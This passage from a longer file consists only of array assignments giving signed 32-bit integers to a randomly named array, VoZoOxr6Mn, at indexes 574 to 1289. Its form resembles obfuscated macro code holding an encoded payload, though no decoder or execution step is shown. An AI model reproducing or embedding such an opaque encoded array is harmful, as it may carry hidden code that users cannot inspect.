VoZoOxr6Mn(574) = 1878928415 VoZoOxr6Mn(575) = 295456558 VoZoOxr6Mn(576) = 1638219629 VoZoOxr6Mn(577) = -2036494674 VoZoOxr6Mn(578) = 1191862880 VoZoOxr6Mn(579) = -1326634419 VoZoOxr6Mn(580) = -2078605617 VoZoOxr6Mn(581) = -1809371502 VoZoOxr6Mn(582) = 1830515733 VoZoOxr6Mn(583) = -861525518 VoZoOxr6Mn(584) = 2078213015 VoZoOxr6Mn(585) = 1498698651 VoZoOxr6Mn(586) = -1443601328 VoZoOxr6Mn(587) = -409996980 VoZoOxr6Mn(588) = 1177685990 VoZoOxr6Mn(589) = -462873666 VoZoOxr6Mn(590) = 1964921990 VoZoOxr6Mn(591) = 1277005506 VoZoOxr6Mn(592) = -1468740369 VoZoOxr6Mn(593) = 1839465770 VoZoOxr6Mn(594) = 1498764152 VoZoOxr6Mn(595) = -321259965 VoZoOxr6Mn(596) = -359323838 VoZoOxr6Mn(597) = -643431765 VoZoOxr6Mn(598) = -680070781 VoZoOxr6Mn(599) = 107043013 VoZoOxr6Mn(600) = 372122840 VoZoOxr6Mn(601) = 467770596 VoZoOxr6Mn(602) = 628487296 VoZoOxr6Mn(603) = -1008774420 VoZoOxr6Mn(604) = -1867797726 VoZoOxr6Mn(605) = -846214148 VoZoOxr6Mn(606) = -1204939574 VoZoOxr6Mn(607) = 1952425588 VoZoOxr6Mn(608) = 2147017181 VoZoOxr6Mn(609) = -367754656 VoZoOxr6Mn(610) = 1459912772 VoZoOxr6Mn(611) = -1070600120 VoZoOxr6Mn(612) = 1796125119 VoZoOxr6Mn(613) = 655306323 VoZoOxr6Mn(614) = -174908500 VoZoOxr6Mn(615) = -1990121901 VoZoOxr6Mn(616) = -1448028909 VoZoOxr6Mn(617) = 473907946 VoZoOxr6Mn(618) = 2134122628 VoZoOxr6Mn(619) = 2117812642 VoZoOxr6Mn(620) = -627731699 VoZoOxr6Mn(621) = 487453279 VoZoOxr6Mn(622) = -1645941583 VoZoOxr6Mn(623) = 1786176051 VoZoOxr6Mn(624) = 304299049 VoZoOxr6Mn(625) = -1996555406 VoZoOxr6Mn(626) = 1624675756 VoZoOxr6Mn(627) = 612474234 VoZoOxr6Mn(628) = 502867472 VoZoOxr6Mn(629) = 402274940 VoZoOxr6Mn(630) = 1736263299 VoZoOxr6Mn(631) = -207023089 VoZoOxr6Mn(632) = 258927107 VoZoOxr6Mn(633) = -1811395399 VoZoOxr6Mn(634) = 362723094 VoZoOxr6Mn(635) = 328695954 VoZoOxr6Mn(636) = 1324890743 VoZoOxr6Mn(637) = -120039784 VoZoOxr6Mn(638) = -894382761 VoZoOxr6Mn(639) = 879232328 VoZoOxr6Mn(640) = -850785091 VoZoOxr6Mn(641) = -1353188715 VoZoOxr6Mn(642) = 1525062830 VoZoOxr6Mn(643) = -196157707 VoZoOxr6Mn(644) = 2124030105 VoZoOxr6Mn(645) = 2118408551 VoZoOxr6Mn(646) = 1961611856 VoZoOxr6Mn(647) = -804290953 VoZoOxr6Mn(648) = 477889149 VoZoOxr6Mn(649) = 386784252 VoZoOxr6Mn(650) = -1516311987 VoZoOxr6Mn(651) = 1485388732 VoZoOxr6Mn(652) = 752114494 VoZoOxr6Mn(653) = 717882831 VoZoOxr6Mn(654) = 933706112 VoZoOxr6Mn(655) = 2143291379 VoZoOxr6Mn(656) = 244365827 VoZoOxr6Mn(657) = -1225752035 VoZoOxr6Mn(658) = 1478292222 VoZoOxr6Mn(659) = -666326641 VoZoOxr6Mn(660) = 479214737 VoZoOxr6Mn(661) = 856392668 VoZoOxr6Mn(662) = 548541135 VoZoOxr6Mn(663) = 2100414638 VoZoOxr6Mn(664) = -59942629 VoZoOxr6Mn(665) = -1566771067 VoZoOxr6Mn(666) = -1608669833 VoZoOxr6Mn(667) = -1554045079 VoZoOxr6Mn(668) = 352355156 VoZoOxr6Mn(669) = 517058623 VoZoOxr6Mn(670) = -1032578255 VoZoOxr6Mn(671) = -463982835 VoZoOxr6Mn(672) = -892122654 VoZoOxr6Mn(673) = 1832422672 VoZoOxr6Mn(674) = 592755178 VoZoOxr6Mn(675) = -1398857230 VoZoOxr6Mn(676) = -2073842530 VoZoOxr6Mn(677) = -1543722985 VoZoOxr6Mn(678) = 1725166837 VoZoOxr6Mn(679) = 1100707878 VoZoOxr6Mn(680) = 1502317905 VoZoOxr6Mn(681) = 97437316 VoZoOxr6Mn(682) = -1162612241 VoZoOxr6Mn(683) = -571506272 VoZoOxr6Mn(684) = 2088261652 VoZoOxr6Mn(685) = 1283037120 VoZoOxr6Mn(686) = 2089372351 VoZoOxr6Mn(687) = 2145669946 VoZoOxr6Mn(688) = -155955434 VoZoOxr6Mn(689) = -1053078440 VoZoOxr6Mn(690) = 853521403 VoZoOxr6Mn(691) = 614871936 VoZoOxr6Mn(692) = 148073396 VoZoOxr6Mn(693) = -736814487 VoZoOxr6Mn(694) = -24527554 VoZoOxr6Mn(695) = 2022377442 VoZoOxr6Mn(696) = 421581716 VoZoOxr6Mn(697) = 1808323401 VoZoOxr6Mn(698) = 1457536975 VoZoOxr6Mn(699) = -1353190215 VoZoOxr6Mn(700) = 315379207 VoZoOxr6Mn(701) = -746891699 VoZoOxr6Mn(702) = -717403559 VoZoOxr6Mn(703) = 1421175097 VoZoOxr6Mn(704) = 906818430 VoZoOxr6Mn(705) = 479357468 VoZoOxr6Mn(706) = 917029904 VoZoOxr6Mn(707) = -378734488 VoZoOxr6Mn(708) = -132192941 VoZoOxr6Mn(709) = 436441758 VoZoOxr6Mn(710) = 625696526 VoZoOxr6Mn(711) = 160570665 VoZoOxr6Mn(712) = 869044015 VoZoOxr6Mn(713) = -19377807 VoZoOxr6Mn(714) = 52263132 VoZoOxr6Mn(715) = -1678441374 VoZoOxr6Mn(716) = -1079143344 VoZoOxr6Mn(717) = -2113396655 VoZoOxr6Mn(718) = -98489367 VoZoOxr6Mn(719) = 1692401521 VoZoOxr6Mn(720) = 193970105 VoZoOxr6Mn(721) = -185900831 VoZoOxr6Mn(722) = -475180333 VoZoOxr6Mn(723) = -1477692873 VoZoOxr6Mn(724) = -1267290194 VoZoOxr6Mn(725) = 387472666 VoZoOxr6Mn(726) = 481998473 VoZoOxr6Mn(727) = -1094866498 VoZoOxr6Mn(728) = -463007894 VoZoOxr6Mn(729) = 990983311 VoZoOxr6Mn(730) = -656171940 VoZoOxr6Mn(731) = 783988516 VoZoOxr6Mn(732) = 350615861 VoZoOxr6Mn(733) = -1422489355 VoZoOxr6Mn(734) = 65547349 VoZoOxr6Mn(735) = -467319369 VoZoOxr6Mn(736) = 1580225109 VoZoOxr6Mn(737) = -590308515 VoZoOxr6Mn(738) = 1455583681 VoZoOxr6Mn(739) = -841009443 VoZoOxr6Mn(740) = -654232658 VoZoOxr6Mn(741) = 1945020544 VoZoOxr6Mn(742) = 939967520 VoZoOxr6Mn(743) = -1524256195 VoZoOxr6Mn(744) = 1510248502 VoZoOxr6Mn(745) = 852834153 VoZoOxr6Mn(746) = -355849774 VoZoOxr6Mn(747) = 1554299439 VoZoOxr6Mn(748) = -819820856 VoZoOxr6Mn(749) = -407415985 VoZoOxr6Mn(750) = 1295084394 VoZoOxr6Mn(751) = -1632261886 VoZoOxr6Mn(752) = -497505826 VoZoOxr6Mn(753) = -981699613 VoZoOxr6Mn(754) = 1844565196 VoZoOxr6Mn(755) = -1139746480 VoZoOxr6Mn(756) = -1886485545 VoZoOxr6Mn(757) = -1245403925 VoZoOxr6Mn(758) = -1026533513 VoZoOxr6Mn(759) = -799472574 VoZoOxr6Mn(760) = -107452516 VoZoOxr6Mn(761) = -1884328752 VoZoOxr6Mn(762) = 580445489 VoZoOxr6Mn(763) = -33115079 VoZoOxr6Mn(764) = -1178193625 VoZoOxr6Mn(765) = 215203449 VoZoOxr6Mn(766) = -1649334927 VoZoOxr6Mn(767) = -140781711 VoZoOxr6Mn(768) = 1183527559 VoZoOxr6Mn(769) = -1032284101 VoZoOxr6Mn(770) = -1034371594 VoZoOxr6Mn(771) = 1600982725 VoZoOxr6Mn(772) = -1026417386 VoZoOxr6Mn(773) = -125419816 VoZoOxr6Mn(774) = 645705982 VoZoOxr6Mn(775) = 1920956024 VoZoOxr6Mn(776) = 1321952220 VoZoOxr6Mn(777) = 217331297 VoZoOxr6Mn(778) = -915233029 VoZoOxr6Mn(779) = -1977875105 VoZoOxr6Mn(780) = 57732437 VoZoOxr6Mn(781) = -2113098911 VoZoOxr6Mn(782) = 1469011830 VoZoOxr6Mn(783) = 1380976349 VoZoOxr6Mn(784) = -1081906950 VoZoOxr6Mn(785) = -1600266781 VoZoOxr6Mn(786) = -97993313 VoZoOxr6Mn(787) = -895959547 VoZoOxr6Mn(788) = 2041285433 VoZoOxr6Mn(789) = -1210079145 VoZoOxr6Mn(790) = -2019004568 VoZoOxr6Mn(791) = 9851326 VoZoOxr6Mn(792) = 2128347618 VoZoOxr6Mn(793) = 1545194462 VoZoOxr6Mn(794) = -142776616 VoZoOxr6Mn(795) = 1834685834 VoZoOxr6Mn(796) = -318166671 VoZoOxr6Mn(797) = 1203416886 VoZoOxr6Mn(798) = 2029092954 VoZoOxr6Mn(799) = 1975101901 VoZoOxr6Mn(800) = 1589520195 VoZoOxr6Mn(801) = -1923870973 VoZoOxr6Mn(802) = 1262201356 VoZoOxr6Mn(803) = 1582289323 VoZoOxr6Mn(804) = 533871263 VoZoOxr6Mn(805) = 599480400 VoZoOxr6Mn(806) = -309027847 VoZoOxr6Mn(807) = -2128370623 VoZoOxr6Mn(808) = 2108596933 VoZoOxr6Mn(809) = -1797878330 VoZoOxr6Mn(810) = -1619225051 VoZoOxr6Mn(811) = -688907532 VoZoOxr6Mn(812) = 1786770245 VoZoOxr6Mn(813) = 1009973735 VoZoOxr6Mn(814) = -454123547 VoZoOxr6Mn(815) = 619034649 VoZoOxr6Mn(816) = 1350112895 VoZoOxr6Mn(817) = 145976503 VoZoOxr6Mn(818) = 1473939495 VoZoOxr6Mn(819) = 350064198 VoZoOxr6Mn(820) = 57954634 VoZoOxr6Mn(821) = -2133250655 VoZoOxr6Mn(822) = -137076074 VoZoOxr6Mn(823) = 999770864 VoZoOxr6Mn(824) = -1791054721 VoZoOxr6Mn(825) = -1662882312 VoZoOxr6Mn(826) = 411085364 VoZoOxr6Mn(827) = 2036423934 VoZoOxr6Mn(828) = 1262785735 VoZoOxr6Mn(829) = -1587985617 VoZoOxr6Mn(830) = 1290278031 VoZoOxr6Mn(831) = 1500563249 VoZoOxr6Mn(832) = -420403623 VoZoOxr6Mn(833) = 425910612 VoZoOxr6Mn(834) = -37222194 VoZoOxr6Mn(835) = -185200574 VoZoOxr6Mn(836) = -2109663638 VoZoOxr6Mn(837) = 1405376689 VoZoOxr6Mn(838) = 1581684468 VoZoOxr6Mn(839) = -1353297153 VoZoOxr6Mn(840) = -490889711 VoZoOxr6Mn(841) = 1850373419 VoZoOxr6Mn(842) = -286416005 VoZoOxr6Mn(843) = -1346384069 VoZoOxr6Mn(844) = -477223118 VoZoOxr6Mn(845) = 1667436528 VoZoOxr6Mn(846) = -737311808 VoZoOxr6Mn(847) = -1116941495 VoZoOxr6Mn(848) = -988657002 VoZoOxr6Mn(849) = -1992378165 VoZoOxr6Mn(850) = 2098473535 VoZoOxr6Mn(851) = -1044451 VoZoOxr6Mn(852) = -1992668507 VoZoOxr6Mn(853) = 349124620 VoZoOxr6Mn(854) = -649824924 VoZoOxr6Mn(855) = 2024889015 VoZoOxr6Mn(856) = -292811533 VoZoOxr6Mn(857) = 1891284221 VoZoOxr6Mn(858) = -2071257949 VoZoOxr6Mn(859) = 817939619 VoZoOxr6Mn(860) = 1123972061 VoZoOxr6Mn(861) = -335181110 VoZoOxr6Mn(862) = 1794725538 VoZoOxr6Mn(863) = -426752302 VoZoOxr6Mn(864) = 1794399724 VoZoOxr6Mn(865) = -1255576975 VoZoOxr6Mn(866) = 1321353833 VoZoOxr6Mn(867) = 1928115412 VoZoOxr6Mn(868) = -1982829586 VoZoOxr6Mn(869) = -1975482087 VoZoOxr6Mn(870) = -772173915 VoZoOxr6Mn(871) = 1753522311 VoZoOxr6Mn(872) = 1395683031 VoZoOxr6Mn(873) = -1849501952 VoZoOxr6Mn(874) = -764571280 VoZoOxr6Mn(875) = -1298551407 VoZoOxr6Mn(876) = 1038991517 VoZoOxr6Mn(877) = -126088960 VoZoOxr6Mn(878) = -262288825 VoZoOxr6Mn(879) = -15950353 VoZoOxr6Mn(880) = 1434068336 VoZoOxr6Mn(881) = 192800209 VoZoOxr6Mn(882) = -1207891476 VoZoOxr6Mn(883) = -231232457 VoZoOxr6Mn(884) = -2009061186 VoZoOxr6Mn(885) = 2076100493 VoZoOxr6Mn(886) = 1966444323 VoZoOxr6Mn(887) = -1475093378 VoZoOxr6Mn(888) = -510826763 VoZoOxr6Mn(889) = -1871573122 VoZoOxr6Mn(890) = 81752923 VoZoOxr6Mn(891) = -1878980033 VoZoOxr6Mn(892) = 603931780 VoZoOxr6Mn(893) = 1945504250 VoZoOxr6Mn(894) = -225759471 VoZoOxr6Mn(895) = 1710259739 VoZoOxr6Mn(896) = 230634472 VoZoOxr6Mn(897) = -882008300 VoZoOxr6Mn(898) = 1704945321 VoZoOxr6Mn(899) = -456242014 VoZoOxr6Mn(900) = 352106848 VoZoOxr6Mn(901) = -509807710 VoZoOxr6Mn(902) = 1930375627 VoZoOxr6Mn(903) = 1096180923 VoZoOxr6Mn(904) = 78815468 VoZoOxr6Mn(905) = 613295403 VoZoOxr6Mn(906) = -1412594997 VoZoOxr6Mn(907) = 1874789070 VoZoOxr6Mn(908) = -905217383 VoZoOxr6Mn(909) = 304450052 VoZoOxr6Mn(910) = -1327591387 VoZoOxr6Mn(911) = -1216290475 VoZoOxr6Mn(912) = 107337860 VoZoOxr6Mn(913) = 1390818472 VoZoOxr6Mn(914) = 1797052760 VoZoOxr6Mn(915) = 1859904496 VoZoOxr6Mn(916) = 673218940 VoZoOxr6Mn(917) = -1682795068 VoZoOxr6Mn(918) = -1058048935 VoZoOxr6Mn(919) = -1722740997 VoZoOxr6Mn(920) = -304523001 VoZoOxr6Mn(921) = 698010567 VoZoOxr6Mn(922) = 974862469 VoZoOxr6Mn(923) = -570754536 VoZoOxr6Mn(924) = -875539756 VoZoOxr6Mn(925) = 113433006 VoZoOxr6Mn(926) = 431938260 VoZoOxr6Mn(927) = -2125731331 VoZoOxr6Mn(928) = -56872352 VoZoOxr6Mn(929) = 800523563 VoZoOxr6Mn(930) = 685643124 VoZoOxr6Mn(931) = -1639843925 VoZoOxr6Mn(932) = 1659555963 VoZoOxr6Mn(933) = 823657451 VoZoOxr6Mn(934) = -1214442174 VoZoOxr6Mn(935) = 1704580724 VoZoOxr6Mn(936) = 2015170671 VoZoOxr6Mn(937) = 211379220 VoZoOxr6Mn(938) = -1374468770 VoZoOxr6Mn(939) = -89357161 VoZoOxr6Mn(940) = 664961701 VoZoOxr6Mn(941) = -256005521 VoZoOxr6Mn(942) = -491169819 VoZoOxr6Mn(943) = 1976971519 VoZoOxr6Mn(944) = 287935576 VoZoOxr6Mn(945) = 1428285329 VoZoOxr6Mn(946) = -1056862913 VoZoOxr6Mn(947) = 1295722767 VoZoOxr6Mn(948) = -45806700 VoZoOxr6Mn(949) = 2027228840 VoZoOxr6Mn(950) = -2097209934 VoZoOxr6Mn(951) = -1072809447 VoZoOxr6Mn(952) = 1233814700 VoZoOxr6Mn(953) = 1846390806 VoZoOxr6Mn(954) = 417069947 VoZoOxr6Mn(955) = -911940296 VoZoOxr6Mn(956) = 738230319 VoZoOxr6Mn(957) = 1024050992 VoZoOxr6Mn(958) = 1212912582 VoZoOxr6Mn(959) = -99658619 VoZoOxr6Mn(960) = 1465330496 VoZoOxr6Mn(961) = -1572231515 VoZoOxr6Mn(962) = -1941285305 VoZoOxr6Mn(963) = -1313525366 VoZoOxr6Mn(964) = 758647161 VoZoOxr6Mn(965) = -242350164 VoZoOxr6Mn(966) = -1857990241 VoZoOxr6Mn(967) = -1511117799 VoZoOxr6Mn(968) = -692978748 VoZoOxr6Mn(969) = -114876469 VoZoOxr6Mn(970) = -1751490753 VoZoOxr6Mn(971) = -483811887 VoZoOxr6Mn(972) = -1075471579 VoZoOxr6Mn(973) = 2143587262 VoZoOxr6Mn(974) = -1638745158 VoZoOxr6Mn(975) = 2130406441 VoZoOxr6Mn(976) = -242998329 VoZoOxr6Mn(977) = 107031993 VoZoOxr6Mn(978) = -1227433418 VoZoOxr6Mn(979) = 1631315728 VoZoOxr6Mn(980) = -2084735778 VoZoOxr6Mn(981) = -1933629890 VoZoOxr6Mn(982) = -506726429 VoZoOxr6Mn(983) = -2116388957 VoZoOxr6Mn(984) = 2089984882 VoZoOxr6Mn(985) = -1617528944 VoZoOxr6Mn(986) = 1502691156 VoZoOxr6Mn(987) = -225312004 VoZoOxr6Mn(988) = 1017491504 VoZoOxr6Mn(989) = 452927439 VoZoOxr6Mn(990) = 1486067676 VoZoOxr6Mn(991) = 1753180570 VoZoOxr6Mn(992) = 1766874784 VoZoOxr6Mn(993) = 1905803658 VoZoOxr6Mn(994) = -1041410011 VoZoOxr6Mn(995) = -619559879 VoZoOxr6Mn(996) = -1733988014 VoZoOxr6Mn(997) = -1886730240 VoZoOxr6Mn(998) = -1007209988 VoZoOxr6Mn(999) = 1982555525 VoZoOxr6Mn(1000) = -1753939745 VoZoOxr6Mn(1001) = 510785415 VoZoOxr6Mn(1002) = -1792869861 VoZoOxr6Mn(1003) = 897913327 VoZoOxr6Mn(1004) = 822445290 VoZoOxr6Mn(1005) = 1976511949 VoZoOxr6Mn(1006) = -1645015029 VoZoOxr6Mn(1007) = 524261957 VoZoOxr6Mn(1008) = 1998402443 VoZoOxr6Mn(1009) = -1524270172 VoZoOxr6Mn(1010) = 1305951602 VoZoOxr6Mn(1011) = 765614278 VoZoOxr6Mn(1012) = -1491882056 VoZoOxr6Mn(1013) = -879684931 VoZoOxr6Mn(1014) = 88354589 VoZoOxr6Mn(1015) = 634249465 VoZoOxr6Mn(1016) = -1456314695 VoZoOxr6Mn(1017) = -2130828677 VoZoOxr6Mn(1018) = -452476448 VoZoOxr6Mn(1019) = -204145470 VoZoOxr6Mn(1020) = 503917851 VoZoOxr6Mn(1021) = 238022716 VoZoOxr6Mn(1022) = 2076435231 VoZoOxr6Mn(1023) = 1322756074 VoZoOxr6Mn(1024) = -1138166438 VoZoOxr6Mn(1025) = -26622414 VoZoOxr6Mn(1026) = 1782139333 VoZoOxr6Mn(1027) = 820160015 VoZoOxr6Mn(1028) = 161018355 VoZoOxr6Mn(1029) = 1470417276 VoZoOxr6Mn(1030) = 857401737 VoZoOxr6Mn(1031) = 1412106610 VoZoOxr6Mn(1032) = 439807848 VoZoOxr6Mn(1033) = -440649266 VoZoOxr6Mn(1034) = -1108163483 VoZoOxr6Mn(1035) = -891415077 VoZoOxr6Mn(1036) = 683593392 VoZoOxr6Mn(1037) = 696202089 VoZoOxr6Mn(1038) = 1664150540 VoZoOxr6Mn(1039) = 1875775019 VoZoOxr6Mn(1040) = 1861428484 VoZoOxr6Mn(1041) = 569614372 VoZoOxr6Mn(1042) = -1457537392 VoZoOxr6Mn(1043) = 1312642099 VoZoOxr6Mn(1044) = 1606846627 VoZoOxr6Mn(1045) = -170122516 VoZoOxr6Mn(1046) = -1370790000 VoZoOxr6Mn(1047) = -111836765 VoZoOxr6Mn(1048) = 1332475364 VoZoOxr6Mn(1049) = -939553186 VoZoOxr6Mn(1050) = 863706944 VoZoOxr6Mn(1051) = -1263468255 VoZoOxr6Mn(1052) = -574348958 VoZoOxr6Mn(1053) = -1389412110 VoZoOxr6Mn(1054) = -1120018193 VoZoOxr6Mn(1055) = -743925897 VoZoOxr6Mn(1056) = 1767662184 VoZoOxr6Mn(1057) = -912074013 VoZoOxr6Mn(1058) = -888751635 VoZoOxr6Mn(1059) = 1010111749 VoZoOxr6Mn(1060) = 1731993537 VoZoOxr6Mn(1061) = 151409734 VoZoOxr6Mn(1062) = -1056640819 VoZoOxr6Mn(1063) = -1979883784 VoZoOxr6Mn(1064) = 746478804 VoZoOxr6Mn(1065) = -514694425 VoZoOxr6Mn(1066) = 2030083154 VoZoOxr6Mn(1067) = -651041664 VoZoOxr6Mn(1068) = -1976294541 VoZoOxr6Mn(1069) = 1459017122 VoZoOxr6Mn(1070) = -998389939 VoZoOxr6Mn(1071) = -2025361930 VoZoOxr6Mn(1072) = -1730681248 VoZoOxr6Mn(1073) = -935077394 VoZoOxr6Mn(1074) = -589773242 VoZoOxr6Mn(1075) = -670108296 VoZoOxr6Mn(1076) = 36756420 VoZoOxr6Mn(1077) = 1646844577 VoZoOxr6Mn(1078) = -1502607610 VoZoOxr6Mn(1079) = -1879085286 VoZoOxr6Mn(1080) = 685829133 VoZoOxr6Mn(1081) = -854918733 VoZoOxr6Mn(1082) = 1349132184 VoZoOxr6Mn(1083) = 563790873 VoZoOxr6Mn(1084) = -202442077 VoZoOxr6Mn(1085) = -1148265 VoZoOxr6Mn(1086) = 1378277962 VoZoOxr6Mn(1087) = -997558861 VoZoOxr6Mn(1088) = 555110631 VoZoOxr6Mn(1089) = -284154144 VoZoOxr6Mn(1090) = -2079547640 VoZoOxr6Mn(1091) = 1206053587 VoZoOxr6Mn(1092) = 2014079496 VoZoOxr6Mn(1093) = -205449291 VoZoOxr6Mn(1094) = -1850371593 VoZoOxr6Mn(1095) = -466174990 VoZoOxr6Mn(1096) = 2046613758 VoZoOxr6Mn(1097) = -76102387 VoZoOxr6Mn(1098) = -1292340328 VoZoOxr6Mn(1099) = -1101222561 VoZoOxr6Mn(1100) = -1205743442 VoZoOxr6Mn(1101) = -1929161624 VoZoOxr6Mn(1102) = -815137877 VoZoOxr6Mn(1103) = 430945179 VoZoOxr6Mn(1104) = 917240139 VoZoOxr6Mn(1105) = 360989840 VoZoOxr6Mn(1106) = 1109750013 VoZoOxr6Mn(1107) = 1523431304 VoZoOxr6Mn(1108) = -1536243054 VoZoOxr6Mn(1109) = 1748732826 VoZoOxr6Mn(1110) = 1050251976 VoZoOxr6Mn(1111) = 1483649863 VoZoOxr6Mn(1112) = 1979102346 VoZoOxr6Mn(1113) = -175427120 VoZoOxr6Mn(1114) = 1923335854 VoZoOxr6Mn(1115) = -1732378131 VoZoOxr6Mn(1116) = 2108291742 VoZoOxr6Mn(1117) = -1212375492 VoZoOxr6Mn(1118) = 639429849 VoZoOxr6Mn(1119) = -26469679 VoZoOxr6Mn(1120) = 1088817204 VoZoOxr6Mn(1121) = -1094802605 VoZoOxr6Mn(1122) = -1146230565 VoZoOxr6Mn(1123) = 741028625 VoZoOxr6Mn(1124) = 1538040144 VoZoOxr6Mn(1125) = -1596573768 VoZoOxr6Mn(1126) = -2130504299 VoZoOxr6Mn(1127) = 773314295 VoZoOxr6Mn(1128) = -1579866508 VoZoOxr6Mn(1129) = -1092354921 VoZoOxr6Mn(1130) = 1377353916 VoZoOxr6Mn(1131) = -1025143583 VoZoOxr6Mn(1132) = -796672980 VoZoOxr6Mn(1133) = 1822772885 VoZoOxr6Mn(1134) = 1727290385 VoZoOxr6Mn(1135) = 444628630 VoZoOxr6Mn(1136) = 475724389 VoZoOxr6Mn(1137) = -1647474394 VoZoOxr6Mn(1138) = 690977618 VoZoOxr6Mn(1139) = -682124032 VoZoOxr6Mn(1140) = -1457976483 VoZoOxr6Mn(1141) = 203222954 VoZoOxr6Mn(1142) = 2008327399 VoZoOxr6Mn(1143) = -1155204547 VoZoOxr6Mn(1144) = 253655955 VoZoOxr6Mn(1145) = -1624545595 VoZoOxr6Mn(1146) = -1184323727 VoZoOxr6Mn(1147) = 1517496026 VoZoOxr6Mn(1148) = -1197144240 VoZoOxr6Mn(1149) = 1017594184 VoZoOxr6Mn(1150) = 468943410 VoZoOxr6Mn(1151) = -1285830809 VoZoOxr6Mn(1152) = 704016261 VoZoOxr6Mn(1153) = 1156089654 VoZoOxr6Mn(1154) = 858805581 VoZoOxr6Mn(1155) = 361018220 VoZoOxr6Mn(1156) = 1034526996 VoZoOxr6Mn(1157) = -977542932 VoZoOxr6Mn(1158) = 1543467128 VoZoOxr6Mn(1159) = 194743640 VoZoOxr6Mn(1160) = 1981314803 VoZoOxr6Mn(1161) = -432368814 VoZoOxr6Mn(1162) = -1080338155 VoZoOxr6Mn(1163) = 1875273347 VoZoOxr6Mn(1164) = 7880149 VoZoOxr6Mn(1165) = 1560669879 VoZoOxr6Mn(1166) = -586384020 VoZoOxr6Mn(1167) = 824138702 VoZoOxr6Mn(1168) = 964377788 VoZoOxr6Mn(1169) = 544541858 VoZoOxr6Mn(1170) = 132662179 VoZoOxr6Mn(1171) = 223058412 VoZoOxr6Mn(1172) = -1035190444 VoZoOxr6Mn(1173) = -1607808888 VoZoOxr6Mn(1174) = 260316121 VoZoOxr6Mn(1175) = -1251881702 VoZoOxr6Mn(1176) = 841924282 VoZoOxr6Mn(1177) = -1880602563 VoZoOxr6Mn(1178) = 156727163 VoZoOxr6Mn(1179) = -1677033100 VoZoOxr6Mn(1180) = 1884061518 VoZoOxr6Mn(1181) = -322154623 VoZoOxr6Mn(1182) = -705980174 VoZoOxr6Mn(1183) = 618619894 VoZoOxr6Mn(1184) = -1455185053 VoZoOxr6Mn(1185) = 1668214272 VoZoOxr6Mn(1186) = 842279803 VoZoOxr6Mn(1187) = -2031107495 VoZoOxr6Mn(1188) = 1961561113 VoZoOxr6Mn(1189) = -1743898288 VoZoOxr6Mn(1190) = -334423 VoZoOxr6Mn(1191) = 67579532 VoZoOxr6Mn(1192) = -1635218192 VoZoOxr6Mn(1193) = -878729903 VoZoOxr6Mn(1194) = -589270381 VoZoOxr6Mn(1195) = -350408972 VoZoOxr6Mn(1196) = 505525502 VoZoOxr6Mn(1197) = 66242447 VoZoOxr6Mn(1198) = 1186254226 VoZoOxr6Mn(1199) = -818185367 VoZoOxr6Mn(1200) = -113049461 VoZoOxr6Mn(1201) = -1991641516 VoZoOxr6Mn(1202) = -772400169 VoZoOxr6Mn(1203) = 984850787 VoZoOxr6Mn(1204) = -147542011 VoZoOxr6Mn(1205) = 786723658 VoZoOxr6Mn(1206) = -1746311729 VoZoOxr6Mn(1207) = -1042093845 VoZoOxr6Mn(1208) = -1828875941 VoZoOxr6Mn(1209) = -667483199 VoZoOxr6Mn(1210) = 137638947 VoZoOxr6Mn(1211) = 337204402 VoZoOxr6Mn(1212) = 603155790 VoZoOxr6Mn(1213) = 289666273 VoZoOxr6Mn(1214) = -1217239760 VoZoOxr6Mn(1215) = -500733252 VoZoOxr6Mn(1216) = 1905932437 VoZoOxr6Mn(1217) = 1254732132 VoZoOxr6Mn(1218) = 479214505 VoZoOxr6Mn(1219) = 42654632 VoZoOxr6Mn(1220) = 1621233548 VoZoOxr6Mn(1221) = -1205475583 VoZoOxr6Mn(1222) = 1987009143 VoZoOxr6Mn(1223) = 19991494 VoZoOxr6Mn(1224) = -639120761 VoZoOxr6Mn(1225) = 1038718615 VoZoOxr6Mn(1226) = -2938161 VoZoOxr6Mn(1227) = 841769983 VoZoOxr6Mn(1228) = -192994972 VoZoOxr6Mn(1229) = 1029563346 VoZoOxr6Mn(1230) = -1459042528 VoZoOxr6Mn(1231) = 730881209 VoZoOxr6Mn(1232) = -512016650 VoZoOxr6Mn(1233) = -1109760397 VoZoOxr6Mn(1234) = -1060448759 VoZoOxr6Mn(1235) = 729715771 VoZoOxr6Mn(1236) = 1546724705 VoZoOxr6Mn(1237) = -379503554 VoZoOxr6Mn(1238) = 1643519598 VoZoOxr6Mn(1239) = 832416223 VoZoOxr6Mn(1240) = -1769110786 VoZoOxr6Mn(1241) = -691948557 VoZoOxr6Mn(1242) = 51769874 VoZoOxr6Mn(1243) = -1051871326 VoZoOxr6Mn(1244) = 207470796 VoZoOxr6Mn(1245) = 1176726089 VoZoOxr6Mn(1246) = -115733383 VoZoOxr6Mn(1247) = 697376028 VoZoOxr6Mn(1248) = -14565548 VoZoOxr6Mn(1249) = -849351480 VoZoOxr6Mn(1250) = -949368664 VoZoOxr6Mn(1251) = -1479487287 VoZoOxr6Mn(1252) = 1624487945 VoZoOxr6Mn(1253) = -288729111 VoZoOxr6Mn(1254) = -989095485 VoZoOxr6Mn(1255) = -1170078836 VoZoOxr6Mn(1256) = 791259028 VoZoOxr6Mn(1257) = -1703349454 VoZoOxr6Mn(1258) = 509028639 VoZoOxr6Mn(1259) = 147284748 VoZoOxr6Mn(1260) = -126395827 VoZoOxr6Mn(1261) = -234096476 VoZoOxr6Mn(1262) = -704564446 VoZoOxr6Mn(1263) = 451674964 VoZoOxr6Mn(1264) = 234387103 VoZoOxr6Mn(1265) = -1809072228 VoZoOxr6Mn(1266) = -1543961593 VoZoOxr6Mn(1267) = 1297821695 VoZoOxr6Mn(1268) = 1243406610 VoZoOxr6Mn(1269) = 1866328457 VoZoOxr6Mn(1270) = -1235799194 VoZoOxr6Mn(1271) = -1847576474 VoZoOxr6Mn(1272) = 1679371496 VoZoOxr6Mn(1273) = 1109591360 VoZoOxr6Mn(1274) = -354174642 VoZoOxr6Mn(1275) = 380202875 VoZoOxr6Mn(1276) = 1619753892 VoZoOxr6Mn(1277) = 1293791271 VoZoOxr6Mn(1278) = -1399377704 VoZoOxr6Mn(1279) = -297053920 VoZoOxr6Mn(1280) = -2115308367 VoZoOxr6Mn(1281) = -1349685264 VoZoOxr6Mn(1282) = 1055729229 VoZoOxr6Mn(1283) = 1620481194 VoZoOxr6Mn(1284) = 603513338 VoZoOxr6Mn(1285) = 1592498164 VoZoOxr6Mn(1286) = 1442787771 VoZoOxr6Mn(1287) = 1553930040 VoZoOxr6Mn(1288) = -990048517 VoZoOxr6Mn(1289) = -688570348 